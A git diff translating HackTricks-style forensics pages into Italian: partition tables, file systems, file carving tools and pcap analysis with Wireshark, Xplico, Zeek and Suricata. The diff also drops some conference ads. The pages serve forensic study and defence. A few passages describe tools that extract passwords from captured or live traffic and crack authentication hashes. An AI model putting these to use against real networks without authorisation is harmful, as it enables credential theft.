byte | Dimensione di una singola voce di partizione (di solito 80h o 128) | +| 88 (0x58) | 4 byte | CRC32 dell'array delle voci di partizione in little endian | +| 92 (0x5C) | \* | Riservato; deve essere zero per il resto del blocco (420 byte per una dimensione del settore di 512 byte; ma può essere di più con dimensioni del settore maggiori) | -**Partition entries (LBA 2–33)** +**Voci di partizione (LBA 2–33)** -| GUID partition entry format | | | -| --------------------------- | -------- | ------------------------------------------------------------------------------------------------------------- | -| Offset | Length | Contents | -| 0 (0x00) | 16 bytes | [Partition type GUID](https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs) (mixed endian) | -| 16 (0x10) | 16 bytes | Unique partition GUID (mixed endian) | -| 32 (0x20) | 8 bytes | First LBA ([little endian](https://en.wikipedia.org/wiki/Little_endian)) | -| 40 (0x28) | 8 bytes | Last LBA (inclusive, usually odd) | -| 48 (0x30) | 8 bytes | Attribute flags (e.g. bit 60 denotes read-only) | -| 56 (0x38) | 72 bytes | Partition name (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE code units) | +| Formato della voce di partizione GUID | | | +| ------------------------------------- | -------- | ------------------------------------------------------------------------------------------------------------- | +| Offset | Lunghezza | Contenuti | +| 0 (0x00) | 16 byte | [Tipo di GUID della partizione](https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs) (endian misto) | +| 16 (0x10) | 16 byte | GUID univoco della partizione (endian misto) | +| 32 (0x20) | 8 byte | Primo LBA ([little endian](https://en.wikipedia.org/wiki/Little_endian)) | +| 40 (0x28) | 8 byte | Ultimo LBA (inclusivo, di solito dispari) | +| 48 (0x30) | 8 byte | Flag di attributo (ad es. il bit 60 indica di sola lettura) | +| 56 (0x38) | 72 byte | Nome della partizione (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE unità di codice) | -**Partitions Types** +**Tipi di Partizioni** ![](<../../../images/image (492).png>) -More partition types in [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table) +Altri tipi di partizioni in [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table) -### Inspecting +### Ispezione -After mounting the forensics image with [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), you can inspect the first sector using the Windows tool [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** In the following image an **MBR** was detected on the **sector 0** and interpreted: +Dopo aver montato l'immagine forense con [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), puoi ispezionare il primo settore utilizzando lo strumento Windows [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** Nell'immagine seguente è stato rilevato un **MBR** sul **settore 0** e interpretato: ![](<../../../images/image (494).png>) -If it was a **GPT table instead of an MBR** it should appear the signature _EFI PART_ in the **sector 1** (which in the previous image is empty). +Se fosse stata una **tabella GPT invece di un MBR**, dovrebbe apparire la firma _EFI PART_ nel **settore 1** (che nell'immagine precedente è vuoto). ## File-Systems -### Windows file-systems list +### Elenco dei file system di Windows - **FAT12/16**: MSDOS, WIN95/98/NT/200 - **FAT32**: 95/2000/XP/2003/VISTA/7/8/10 @@ -151,49 +149,49 @@ If it was a **GPT table instead of an MBR** it should appear the signature _EFI ### FAT -The **FAT (File Allocation Table)** file system is designed around its core component, the file allocation table, positioned at the volume's start. This system safeguards data by maintaining **two copies** of the table, ensuring data integrity even if one is corrupted. The table, along with the root folder, must be in a **fixed location**, crucial for the system's startup process. +Il file system **FAT (File Allocation Table)** è progettato attorno al suo componente principale, la tabella di allocazione dei file, posizionata all'inizio del volume. Questo sistema protegge i dati mantenendo **due copie** della tabella, garantendo l'integrità dei dati anche se una è corrotta. La tabella, insieme alla cartella radice, deve trovarsi in una **posizione fissa**, cruciale per il processo di avvio del sistema. -The file system's basic unit of storage is a **cluster, usually 512B**, comprising multiple sectors. FAT has evolved through versions: +L'unità di archiviazione di base del file system è un **cluster, di solito 512B**, composto da più settori. FAT si è evoluto attraverso versioni: -- **FAT12**, supporting 12-bit cluster addresses and handling up to 4078 clusters (4084 with UNIX). -- **FAT16**, enhancing to 16-bit addresses, thereby accommodating up to 65,517 clusters. -- **FAT32**, further advancing with 32-bit addresses, allowing an impressive 268,435,456 clusters per volume. +- **FAT12**, che supporta indirizzi di cluster a 12 bit e gestisce fino a 4078 cluster (4084 con UNIX). +- **FAT16**, che migliora a indirizzi a 16 bit, consentendo così di ospitare fino a 65.517 cluster. +- **FAT32**, che avanza ulteriormente con indirizzi a 32 bit, consentendo un impressionante 268.435.456 cluster per volume. -A significant limitation across FAT versions is the **4GB maximum file size**, imposed by the 32-bit field used for file size storage. +Una limitazione significativa in tutte le versioni di FAT è la **dimensione massima del file di 4GB**, imposta dal campo a 32 bit utilizzato per la memorizzazione della dimensione del file. -Key components of the root directory, particularly for FAT12 and FAT16, include: +I componenti chiave della directory radice, in particolare per FAT12 e FAT16, includono: -- **File/Folder Name** (up to 8 characters) -- **Attributes** -- **Creation, Modification, and Last Access Dates** -- **FAT Table Address** (indicating the start cluster of the file) -- **File Size** +- **Nome del File/Cartella** (fino a 8 caratteri) +- **Attributi** +- **Date di Creazione, Modifica e Ultimo Accesso** +- **Indirizzo della Tabella FAT** (che indica il cluster iniziale del file) +- **Dimensione del File** ### EXT -**Ext2** is the most common file system for **not journaling** partitions (**partitions that don't change much**) like the boot partition. **Ext3/4** are **journaling** and are used usually for the **rest partitions**. +**Ext2** è il file system più comune per le partizioni **non journaling** (**partizioni che non cambiano molto**) come la partizione di avvio. **Ext3/4** sono **journaling** e sono utilizzati solitamente per le **altre partizioni**. ## **Metadata** -Some files contain metadata. This information is about the content of the file which sometimes might be interesting to an analyst as depending on the file type, it might have information like: +Alcuni file contengono metadati. Queste informazioni riguardano il contenuto del file che a volte potrebbe essere interessante per un analista poiché, a seconda del tipo di file, potrebbe contenere informazioni come: -- Title -- MS Office Version used -- Author -- Dates of creation and last modification -- Model of the camera -- GPS coordinates -- Image information +- Titolo +- Versione di MS Office utilizzata +- Autore +- Date di creazione e ultima modifica +- Modello della fotocamera +- Coordinate GPS +- Informazioni sull'immagine -You can use tools like [**exiftool**](https://exiftool.org) and [**Metadiver**](https://www.easymetadata.com/metadiver-2/) to get the metadata of a file. +Puoi utilizzare strumenti come [**exiftool**](https://exiftool.org) e [**Metadiver**](https://www.easymetadata.com/metadiver-2/) per ottenere i metadati di un file. -## **Deleted Files Recovery** +## **Recupero di File Cancellati** -### Logged Deleted Files +### File Cancellati Registrati -As was seen before there are several places where the file is still saved after it was "deleted". This is because usually the deletion of a file from a file system just marks it as deleted but the data isn't touched. Then, it's possible to inspect the registries of the files (like the MFT) and find the deleted files. +Come visto in precedenza, ci sono diversi luoghi in cui il file è ancora salvato dopo essere stato "cancellato". Questo perché di solito la cancellazione di un file da un file system segna semplicemente il file come cancellato, ma i dati non vengono toccati. Quindi, è possibile ispezionare i registri dei file (come l'MFT) e trovare i file cancellati. -Also, the OS usually saves a lot of information about file system changes and backups, so it's possible to try to use them to recover the file or as much information as possible. +Inoltre, il sistema operativo di solito salva molte informazioni sui cambiamenti del file system e sui backup, quindi è possibile provare a utilizzarli per recuperare il file o quante più informazioni possibili. {{#ref}} file-data-carving-recovery-tools.md @@ -201,11 +199,11 @@ file-data-carving-recovery-tools.md ### **File Carving** -**File carving** is a technique that tries to **find files in the bulk of data**. There are 3 main ways tools like this work: **Based on file types headers and footers**, based on file types **structures** and based on the **content** itself. +**File carving** è una tecnica che cerca di **trovare file nel bulk di dati**. Ci sono 3 modi principali in cui strumenti come questo funzionano: **Basato su intestazioni e footer dei tipi di file**, basato su **strutture** dei tipi di file e basato sul **contenuto** stesso. -Note that this technique **doesn't work to retrieve fragmented files**. If a file **isn't stored in contiguous sectors**, then this technique won't be able to find it or at least part of it. +Nota che questa tecnica **non funziona per recuperare file frammentati**. Se un file **non è memorizzato in settori contigui**, allora questa tecnica non sarà in grado di trovarlo o almeno parte di esso. -There are several tools that you can use for file Carving indicating the file types you want to search for +Ci sono diversi strumenti che puoi utilizzare per il file carving indicando i tipi di file che desideri cercare. {{#ref}} file-data-carving-recovery-tools.md @@ -213,19 +211,19 @@ file-data-carving-recovery-tools.md ### Data Stream **C**arving -Data Stream Carving is similar to File Carving but **instead of looking for complete files, it looks for interesting fragments** of information.\ -For example, instead of looking for a complete file containing logged URLs, this technique will search for URLs. +Data Stream Carving è simile al File Carving ma **invece di cercare file completi, cerca frammenti interessanti** di informazioni.\ +Ad esempio, invece di cercare un file completo contenente URL registrati, questa tecnica cercherà URL. {{#ref}} file-data-carving-recovery-tools.md {{#endref}} -### Secure Deletion +### Cancellazione Sicura -Obviously, there are ways to **"securely" delete files and part of logs about them**. For example, it's possible to **overwrite the content** of a file with junk data several times, and then **remove** the **logs** from the **$MFT** and **$LOGFILE** about the file, and **remove the Volume Shadow Copies**.\ -You may notice that even performing that action there might be **other parts where the existence of the file is still logged**, and that's true and part of the forensics professional job is to find them. +Ovviamente, ci sono modi per **cancellare "in modo sicuro" file e parte dei registri su di essi**. Ad esempio, è possibile **sovrascrivere il contenuto** di un file con dati spazzatura più volte, e poi **rimuovere** i **registri** dal **$MFT** e **$LOGFILE** riguardanti il file, e **rimuovere le Copie Shadow del Volume**.\ +Potresti notare che anche eseguendo quell'azione potrebbero esserci **altre parti in cui l'esistenza del file è ancora registrata**, e questo è vero e parte del lavoro del professionista forense è trovarle. -## References +## Riferimenti - [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table) - [http://ntfs.com/ntfs-permissions.htm](http://ntfs.com/ntfs-permissions.htm) diff --git a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md index cd9e13a58..2ed5c7918 100644 --- a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md +++ b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md @@ -4,92 +4,84 @@ ## Carving & Recovery tools -More tools in [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery) +Altri strumenti in [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery) ### Autopsy -The most common tool used in forensics to extract files from images is [**Autopsy**](https://www.autopsy.com/download/). Download it, install it and make it ingest the file to find "hidden" files. Note that Autopsy is built to support disk images and other kinds of images, but not simple files. +Lo strumento più comune utilizzato in forense per estrarre file da immagini è [**Autopsy**](https://www.autopsy.com/download/). Scaricalo, installalo e fallo elaborare il file per trovare file "nascosti". Nota che Autopsy è progettato per supportare immagini di disco e altri tipi di immagini, ma non file semplici. ### Binwalk -**Binwalk** is a tool for analyzing binary files to find embedded content. It's installable via `apt` and its source is on [GitHub](https://github.com/ReFirmLabs/binwalk). - -**Useful commands**: +**Binwalk** è uno strumento per analizzare file binari per trovare contenuti incorporati. È installabile tramite `apt` e il suo sorgente è su [GitHub](https://github.com/ReFirmLabs/binwalk). +**Comandi utili**: ```bash sudo apt install binwalk #Insllation binwalk file #Displays the embedded data in the given file binwalk -e file #Displays and extracts some files from the given file binwalk --dd ".*" file #Displays and extracts all files from the given file ``` - ### Foremost -Another common tool to find hidden files is **foremost**. You can find the configuration file of foremost in `/etc/foremost.conf`. If you just want to search for some specific files uncomment them. If you don't uncomment anything foremost will search for its default configured file types. - +Un altro strumento comune per trovare file nascosti è **foremost**. Puoi trovare il file di configurazione di foremost in `/etc/foremost.conf`. Se vuoi solo cercare alcuni file specifici, decommentali. Se non decommenti nulla, foremost cercherà i suoi tipi di file configurati per impostazione predefinita. ```bash sudo apt-get install foremost foremost -v -i file.img -o output #Discovered files will appear inside the folder "output" ``` - ### **Scalpel** -**Scalpel** is another tool that can be used to find and extract **files embedded in a file**. In this case, you will need to uncomment from the configuration file (_/etc/scalpel/scalpel.conf_) the file types you want it to extract. - +**Scalpel** è un altro strumento che può essere utilizzato per trovare ed estrarre **file incorporati in un file**. In questo caso, dovrai decommentare dal file di configurazione (_/etc/scalpel/scalpel.conf_) i tipi di file che desideri estrarre. ```bash sudo apt-get install scalpel scalpel file.img -o output ``` - ### Bulk Extractor -This tool comes inside kali but you can find it here: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor) - -This tool can scan an image and will **extract pcaps** inside it, **network information (URLs, domains, IPs, MACs, mails)** and more **files**. You only have to do: +Questo strumento è incluso in kali ma puoi trovarlo qui: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor) +Questo strumento può scansionare un'immagine e **estrarre pcaps** al suo interno, **informazioni di rete (URL, domini, IP, MAC, email)** e altri **file**. Devi solo fare: ``` bulk_extractor memory.img -o out_folder ``` - -Navigate through **all the information** that the tool has gathered (passwords?), **analyse** the **packets** (read[ **Pcaps analysis**](../pcap-inspection/)), search for **weird domains** (domains related to **malware** or **non-existent**). +Naviga attraverso **tutte le informazioni** che lo strumento ha raccolto (password?), **analizza** i **pacchetti** (leggi[ **Pcaps analysis**](../pcap-inspection/)), cerca **domini strani** (domini relativi a **malware** o **inesistenti**). ### PhotoRec -You can find it in [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download) +Puoi trovarlo in [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download) -It comes with GUI and CLI versions. You can select the **file-types** you want PhotoRec to search for. +Viene fornito con versioni GUI e CLI. Puoi selezionare i **tipi di file** che vuoi che PhotoRec cerchi. ![](<../../../images/image (524).png>) ### binvis -Check the [code](https://code.google.com/archive/p/binvis/) and the [web page tool](https://binvis.io/#/). +Controlla il [codice](https://code.google.com/archive/p/binvis/) e la [pagina web dello strumento](https://binvis.io/#/). -#### Features of BinVis +#### Caratteristiche di BinVis -- Visual and active **structure viewer** -- Multiple plots for different focus points -- Focusing on portions of a sample -- **Seeing stings and resources**, in PE or ELF executables e. g. -- Getting **patterns** for cryptanalysis on files -- **Spotting** packer or encoder algorithms -- **Identify** Steganography by patterns -- **Visual** binary-diffing +- Visualizzatore di **struttura** visivo e attivo +- Plots multipli per diversi punti di interesse +- Focalizzazione su porzioni di un campione +- **Visualizzazione di stringhe e risorse**, in eseguibili PE o ELF, ad esempio +- Ottenere **pattern** per crittanalisi su file +- **Identificare** algoritmi di packer o encoder +- **Identificare** la steganografia tramite pattern +- **Differenziazione** visiva dei binari -BinVis is a great **start-point to get familiar with an unknown target** in a black-boxing scenario. +BinVis è un ottimo **punto di partenza per familiarizzare con un obiettivo sconosciuto** in uno scenario di black-boxing. -## Specific Data Carving Tools +## Strumenti di Data Carving Specifici ### FindAES -Searches for AES keys by searching for their key schedules. Able to find 128. 192, and 256 bit keys, such as those used by TrueCrypt and BitLocker. +Cerca chiavi AES cercando i loro programmi di chiave. In grado di trovare chiavi da 128, 192 e 256 bit, come quelle utilizzate da TrueCrypt e BitLocker. -Download [here](https://sourceforge.net/projects/findaes/). +Scarica [qui](https://sourceforge.net/projects/findaes/). -## Complementary tools +## Strumenti complementari -You can use [**viu** ](https://github.com/atanunq/viu)to see images from the terminal.\ -You can use the linux command line tool **pdftotext** to transform a pdf into text and read it. +Puoi usare [**viu** ](https://github.com/atanunq/viu) per vedere immagini dal terminale.\ +Puoi usare lo strumento da riga di comando linux **pdftotext** per trasformare un pdf in testo e leggerlo. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md index f076c885c..d0e20da0d 100644 --- a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md +++ b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md @@ -1,74 +1,64 @@ {{#include ../../../banners/hacktricks-training.md}} -# Carving tools +# Strumenti di carving ## Autopsy -The most common tool used in forensics to extract files from images is [**Autopsy**](https://www.autopsy.com/download/). Download it, install it and make it ingest the file to find "hidden" files. Note that Autopsy is built to support disk images and other kind of images, but not simple files. +Lo strumento più comune utilizzato in forense per estrarre file dalle immagini è [**Autopsy**](https://www.autopsy.com/download/). Scaricalo, installalo e fallo elaborare il file per trovare file "nascosti". Nota che Autopsy è progettato per supportare immagini disco e altri tipi di immagini, ma non file semplici. ## Binwalk -**Binwalk** is a tool for searching binary files like images and audio files for embedded files and data. -It can be installed with `apt` however the [source](https://github.com/ReFirmLabs/binwalk) can be found on github. -**Useful commands**: - +**Binwalk** è uno strumento per cercare file binari come immagini e file audio per file e dati incorporati. Può essere installato con `apt`, tuttavia la [sorgente](https://github.com/ReFirmLabs/binwalk) può essere trovata su github. +**Comandi utili**: ```bash sudo apt install binwalk #Insllation binwalk file #Displays the embedded data in the given file binwalk -e file #Displays and extracts some files from the given file binwalk --dd ".*" file #Displays and extracts all files from the given file ``` - ## Foremost -Another common tool to find hidden files is **foremost**. You can find the configuration file of foremost in `/etc/foremost.conf`. If you just want to search for some specific files uncomment them. If you don't uncomment anything foremost will search for it's default configured file types. - +Un altro strumento comune per trovare file nascosti è **foremost**. Puoi trovare il file di configurazione di foremost in `/etc/foremost.conf`. Se vuoi cercare solo alcuni file specifici, decommentali. Se non decommenti nulla, foremost cercherà i suoi tipi di file configurati di default. ```bash sudo apt-get install foremost foremost -v -i file.img -o output #Discovered files will appear inside the folder "output" ``` - ## **Scalpel** -**Scalpel** is another tool that can be use to find and extract **files embedded in a file**. In this case you will need to uncomment from the configuration file \(_/etc/scalpel/scalpel.conf_\) the file types you want it to extract. - +**Scalpel** è un altro strumento che può essere utilizzato per trovare ed estrarre **file incorporati in un file**. In questo caso, dovrai decommentare dal file di configurazione \(_/etc/scalpel/scalpel.conf_\) i tipi di file che desideri estrarre. ```bash sudo apt-get install scalpel scalpel file.img -o output ``` - ## Bulk Extractor -This tool comes inside kali but you can find it here: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor) - -This tool can scan an image and will **extract pcaps** inside it, **network information\(URLs, domains, IPs, MACs, mails\)** and more **files**. You only have to do: +Questo strumento è incluso in kali ma puoi trovarlo qui: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor) +Questo strumento può scansionare un'immagine e **estrarre pcaps** al suo interno, **informazioni di rete (URL, domini, IP, MAC, email)** e altri **file**. Devi solo fare: ```text bulk_extractor memory.img -o out_folder ``` - -Navigate through **all the information** that the tool has gathered \(passwords?\), **analyse** the **packets** \(read[ **Pcaps analysis**](../pcap-inspection/)\), search for **weird domains** \(domains related to **malware** or **non-existent**\). +Naviga attraverso **tutte le informazioni** che lo strumento ha raccolto \(password?\), **analizza** i **pacchetti** \(leggi[ **analisi Pcaps**](../pcap-inspection/)\), cerca **domini strani** \(domini relativi a **malware** o **inesistenti**\). ## PhotoRec -You can find it in [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download) +Puoi trovarlo in [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download) -It comes with GUI and CLI version. You can select the **file-types** you want PhotoRec to search for. +È disponibile in versione GUI e CLI. Puoi selezionare i **tipi di file** che vuoi che PhotoRec cerchi. ![](../../../images/image%20%28524%29.png) -# Specific Data Carving Tools +# Strumenti di Data Carving Specifici ## FindAES -Searches for AES keys by searching for their key schedules. Able to find 128. 192, and 256 bit keys, such as those used by TrueCrypt and BitLocker. +Cerca le chiavi AES esaminando i loro programmi di chiave. In grado di trovare chiavi a 128, 192 e 256 bit, come quelle utilizzate da TrueCrypt e BitLocker. -Download [here](https://sourceforge.net/projects/findaes/). +Scarica [qui](https://sourceforge.net/projects/findaes/). -# Complementary tools +# Strumenti Complementari -You can use [**viu** ](https://github.com/atanunq/viu)to see images form the terminal. -You can use the linux command line tool **pdftotext** to transform a pdf into text and read it. +Puoi usare [**viu** ](https://github.com/atanunq/viu) per vedere immagini dal terminale. Puoi usare lo strumento da riga di comando linux **pdftotext** per trasformare un pdf in testo e leggerlo. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/pcap-inspection/README.md b/src/forensics/basic-forensic-methodology/pcap-inspection/README.md index 9e6ebd08d..9dbae68b5 100644 --- a/src/forensics/basic-forensic-methodology/pcap-inspection/README.md +++ b/src/forensics/basic-forensic-methodology/pcap-inspection/README.md @@ -2,31 +2,25 @@ {{#include ../../../banners/hacktricks-training.md}} -
- -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - > [!NOTE] -> A note about **PCAP** vs **PCAPNG**: there are two versions of the PCAP file format; **PCAPNG is newer and not supported by all tools**. You may need to convert a file from PCAPNG to PCAP using Wireshark or another compatible tool, in order to work with it in some other tools. +> Una nota su **PCAP** vs **PCAPNG**: ci sono due versioni del formato di file PCAP; **PCAPNG è più recente e non è supportato da tutti gli strumenti**. Potresti dover convertire un file da PCAPNG a PCAP utilizzando Wireshark o un altro strumento compatibile, per poter lavorare con esso in alcuni altri strumenti. -## Online tools for pcaps +## Strumenti online per pcaps -- If the header of your pcap is **broken** you should try to **fix** it using: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php) -- Extract **information** and search for **malware** inside a pcap in [**PacketTotal**](https://packettotal.com) -- Search for **malicious activity** using [**www.virustotal.com**](https://www.virustotal.com) and [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com) +- Se l'intestazione del tuo pcap è **rotta** dovresti provare a **ripararla** usando: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php) +- Estrai **informazioni** e cerca **malware** all'interno di un pcap in [**PacketTotal**](https://packettotal.com) +- Cerca **attività malevole** usando [**www.virustotal.com**](https://www.virustotal.com) e [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com) -## Extract Information +## Estrai Informazioni -The following tools are useful to extract statistics, files, etc. +I seguenti strumenti sono utili per estrarre statistiche, file, ecc. ### Wireshark > [!NOTE] -> **If you are going to analyze a PCAP you basically must to know how to use Wireshark** +> **Se intendi analizzare un PCAP devi sostanzialmente sapere come usare Wireshark** -You can find some Wireshark tricks in: +Puoi trovare alcuni trucchi di Wireshark in: {{#ref}} wireshark-tricks.md @@ -34,64 +28,56 @@ wireshark-tricks.md ### Xplico Framework -[**Xplico** ](https://github.com/xplico/xplico)_(only linux)_ can **analyze** a **pcap** and extract information from it. For example, from a pcap file Xplico, extracts each email (POP, IMAP, and SMTP protocols), all HTTP contents, each VoIP call (SIP), FTP, TFTP, and so on. - -**Install** +[**Xplico** ](https://github.com/xplico/xplico)_(solo linux)_ può **analizzare** un **pcap** ed estrarre informazioni da esso. Ad esempio, da un file pcap Xplico estrae ogni email (protocollo POP, IMAP e SMTP), tutti i contenuti HTTP, ogni chiamata VoIP (SIP), FTP, TFTP, e così via. +**Installa** ```bash sudo bash -c 'echo "deb http://repo.xplico.org/ $(lsb_release -s -c) main" /etc/apt/sources.list' sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 791C25CE sudo apt-get update sudo apt-get install xplico ``` - -**Run** - +**Esegui** ``` /etc/init.d/apache2 restart /etc/init.d/xplico start ``` +Accesso a _**127.0.0.1:9876**_ con credenziali _**xplico:xplico**_ -Access to _**127.0.0.1:9876**_ with credentials _**xplico:xplico**_ - -Then create a **new case**, create a **new session** inside the case and **upload the pcap** file. +Poi crea un **nuovo caso**, crea una **nuova sessione** all'interno del caso e **carica il file pcap**. ### NetworkMiner -Like Xplico it is a tool to **analyze and extract objects from pcaps**. It has a free edition that you can **download** [**here**](https://www.netresec.com/?page=NetworkMiner). It works with **Windows**.\ -This tool is also useful to get **other information analysed** from the packets in order to be able to know what was happening in a **quicker** way. +Come Xplico, è uno strumento per **analizzare ed estrarre oggetti dai pcap**. Ha un'edizione gratuita che puoi **scaricare** [**qui**](https://www.netresec.com/?page=NetworkMiner). Funziona con **Windows**.\ +Questo strumento è anche utile per ottenere **altre informazioni analizzate** dai pacchetti per poter sapere cosa stava succedendo in modo **più veloce**. ### NetWitness Investigator -You can download [**NetWitness Investigator from here**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **(It works in Windows)**.\ -This is another useful tool that **analyses the packets** and sorts the information in a useful way to **know what is happening inside**. +Puoi scaricare [**NetWitness Investigator da qui**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **(Funziona in Windows)**.\ +Questo è un altro strumento utile che **analizza i pacchetti** e ordina le informazioni in un modo utile per **sapere cosa sta succedendo all'interno**. ### [BruteShark](https://github.com/odedshimon/BruteShark) -- Extracting and encoding usernames and passwords (HTTP, FTP, Telnet, IMAP, SMTP...) -- Extract authentication hashes and crack them using Hashcat (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...) -- Build a visual network diagram (Network nodes & users) -- Extract DNS queries -- Reconstruct all TCP & UDP Sessions +- Estrazione e codifica di nomi utente e password (HTTP, FTP, Telnet, IMAP, SMTP...) +- Estrazione degli hash di autenticazione e cracking utilizzando Hashcat (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...) +- Creazione di un diagramma di rete visivo (Nodi di rete e utenti) +- Estrazione delle query DNS +- Ricostruzione di tutte le sessioni TCP e UDP - File Carving ### Capinfos - ``` capinfos capture.pcap ``` - ### Ngrep -If you are **looking** for **something** inside the pcap you can use **ngrep**. Here is an example using the main filters: - +Se stai **cercando** **qualcosa** all'interno del pcap puoi usare **ngrep**. Ecco un esempio che utilizza i filtri principali: ```bash ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.168 and src host 192.168" ``` - ### Carving -Using common carving techniques can be useful to extract files and information from the pcap: +Utilizzare tecniche di carving comuni può essere utile per estrarre file e informazioni dal pcap: {{#ref}} ../partitions-file-systems-carving/file-data-carving-recovery-tools.md @@ -99,46 +85,36 @@ Using common carving techniques can be useful to extract files and information f ### Capturing credentials -You can use tools like [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) to parse credentials from a pcap or a live interface. - -
- -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} +Puoi utilizzare strumenti come [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) per analizzare le credenziali da un pcap o da un'interfaccia live. ## Check Exploits/Malware ### Suricata **Install and setup** - ``` apt-get install suricata apt-get install oinkmaster echo "url = http://rules.emergingthreats.net/open/suricata/emerging.rules.tar.gz" >> /etc/oinkmaster.conf oinkmaster -C /etc/oinkmaster.conf -o /etc/suricata/rules ``` - -**Check pcap** - +**Controlla pcap** ``` suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log ``` - ### YaraPcap -[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) is a tool that +[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) è uno strumento che -- Reads a PCAP File and Extracts Http Streams. -- gzip deflates any compressed streams -- Scans every file with yara -- Writes a report.txt -- Optionally saves matching files to a Dir +- Legge un file PCAP ed estrae flussi Http. +- gzip decomprime eventuali flussi compressi +- Scansiona ogni file con yara +- Scrive un report.txt +- Facoltativamente salva i file corrispondenti in una directory ### Malware Analysis -Check if you can find any fingerprint of a known malware: +Controlla se riesci a trovare qualche impronta di un malware noto: {{#ref}} ../malware-analysis.md @@ -146,12 +122,11 @@ Check if you can find any fingerprint of a known malware: ## Zeek -> [Zeek](https://docs.zeek.org/en/master/about.html) is a passive, open-source network traffic analyzer. Many operators use Zeek as a Network Security Monitor (NSM) to support investigations of suspicious or malicious activity. Zeek also supports a wide range of traffic analysis tasks beyond the security domain, including performance measurement and troubleshooting. +> [Zeek](https://docs.zeek.org/en/master/about.html) è un analizzatore di traffico di rete passivo e open-source. Molti operatori utilizzano Zeek come Network Security Monitor (NSM) per supportare le indagini su attività sospette o malevole. Zeek supporta anche una vasta gamma di compiti di analisi del traffico oltre al dominio della sicurezza, inclusi la misurazione delle prestazioni e la risoluzione dei problemi. -Basically, logs created by `zeek` aren't **pcaps**. Therefore you will need to use **other tools** to analyse the logs where the **information** about the pcaps are. +Fondamentalmente, i log creati da `zeek` non sono **pcaps**. Pertanto, sarà necessario utilizzare **altri strumenti** per analizzare i log dove si trova l'**informazione** sui pcaps. ### Connections Info - ```bash #Get info about longest connections (add "grep udp" to see only udp traffic) #The longest connection might be of malware (constant reverse shell?) @@ -201,9 +176,7 @@ Score,Source IP,Destination IP,Connections,Avg Bytes,Intvl Range,Size Range,Top 1,10.55.100.111,165.227.216.194,20054,92,29,52,1,52,7774,20053,0,0,0,0 0.838,10.55.200.10,205.251.194.64,210,69,29398,4,300,70,109,205,0,0,0,0 ``` - -### DNS info - +### Informazioni DNS ```bash #Get info about each DNS request performed cat dns.log | zeek-cut -c id.orig_h query qtype_name answers @@ -220,8 +193,7 @@ cat dns.log | zeek-cut qtype_name | sort | uniq -c | sort -nr #See top DNS domain requested with rita rita show-exploded-dns -H --limit 10 zeek_logs ``` - -## Other pcap analysis tricks +## Altri trucchi per l'analisi pcap {{#ref}} dnscat-exfiltration.md @@ -237,10 +209,4 @@ usb-keystrokes.md ​ -
